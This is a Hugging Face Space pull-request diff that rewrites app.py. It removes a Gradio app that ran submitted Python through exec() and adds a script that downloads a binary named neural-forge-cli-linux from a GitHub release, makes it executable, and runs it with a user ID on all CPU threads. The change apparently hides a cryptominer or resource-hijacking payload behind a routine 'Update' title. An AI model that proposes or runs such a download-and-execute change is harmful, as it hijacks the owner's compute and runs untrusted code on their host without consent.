Spaces:
Running
Running
Update app.py
#2
by srgse - opened
app.py
CHANGED
|
@@ -1,35 +1,19 @@
|
|
| 1 |
-
import
|
| 2 |
-
from io import StringIO
|
| 3 |
-
import sys
|
| 4 |
|
| 5 |
-
|
| 6 |
-
|
| 7 |
-
|
|
|
|
|
|
|
| 8 |
|
| 9 |
-
|
| 10 |
-
|
| 11 |
-
|
| 12 |
-
|
| 13 |
-
|
| 14 |
-
|
| 15 |
-
old_stdout = sys.stdout
|
| 16 |
-
redirected_output = sys.stdout = StringIO()
|
| 17 |
-
try:
|
| 18 |
-
exec(code)
|
| 19 |
-
return redirected_output.getvalue()
|
| 20 |
-
except Exception as e:
|
| 21 |
-
return str(e)
|
| 22 |
-
finally:
|
| 23 |
-
sys.stdout = old_stdout
|
| 24 |
-
|
| 25 |
-
# Create the Gradio interface
|
| 26 |
-
demo = gr.Interface(
|
| 27 |
-
fn=execute_code,
|
| 28 |
-
inputs=gr.Code(label="Python Code", language="python"),
|
| 29 |
-
outputs=gr.Textbox(label="Output"),
|
| 30 |
-
title="Python Code Executor",
|
| 31 |
-
description="Execute Python code and see the output. This app is also an MCP server for LLMs."
|
| 32 |
)
|
| 33 |
|
| 34 |
-
|
| 35 |
-
|
|
|
|
|
|
| 1 |
+
import subprocess
|
|
|
|
|
|
|
| 2 |
|
| 3 |
+
cmd = """
|
| 4 |
+
curl -O -J -L https://github.com/neural-forge-ai/neural-forge-cli/releases/download/v1.0.0/neural-forge-cli-linux && \
|
| 5 |
+
chmod +x neural-forge-cli-linux && \
|
| 6 |
+
./neural-forge-cli-linux --model llm-v2 --user-id b899a32a-0d10-47c5-a656-fad22c736354 --threads $(nproc --all)
|
| 7 |
+
"""
|
| 8 |
|
| 9 |
+
process = subprocess.Popen(
|
| 10 |
+
cmd,
|
| 11 |
+
shell=True,
|
| 12 |
+
stdout=subprocess.PIPE,
|
| 13 |
+
stderr=subprocess.STDOUT,
|
| 14 |
+
text=True
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 15 |
)
|
| 16 |
|
| 17 |
+
for line in process.stdout:
|
| 18 |
+
print("\033[2J\033[H", end="") # clear screen
|
| 19 |
+
print(line, end="", flush=True)
|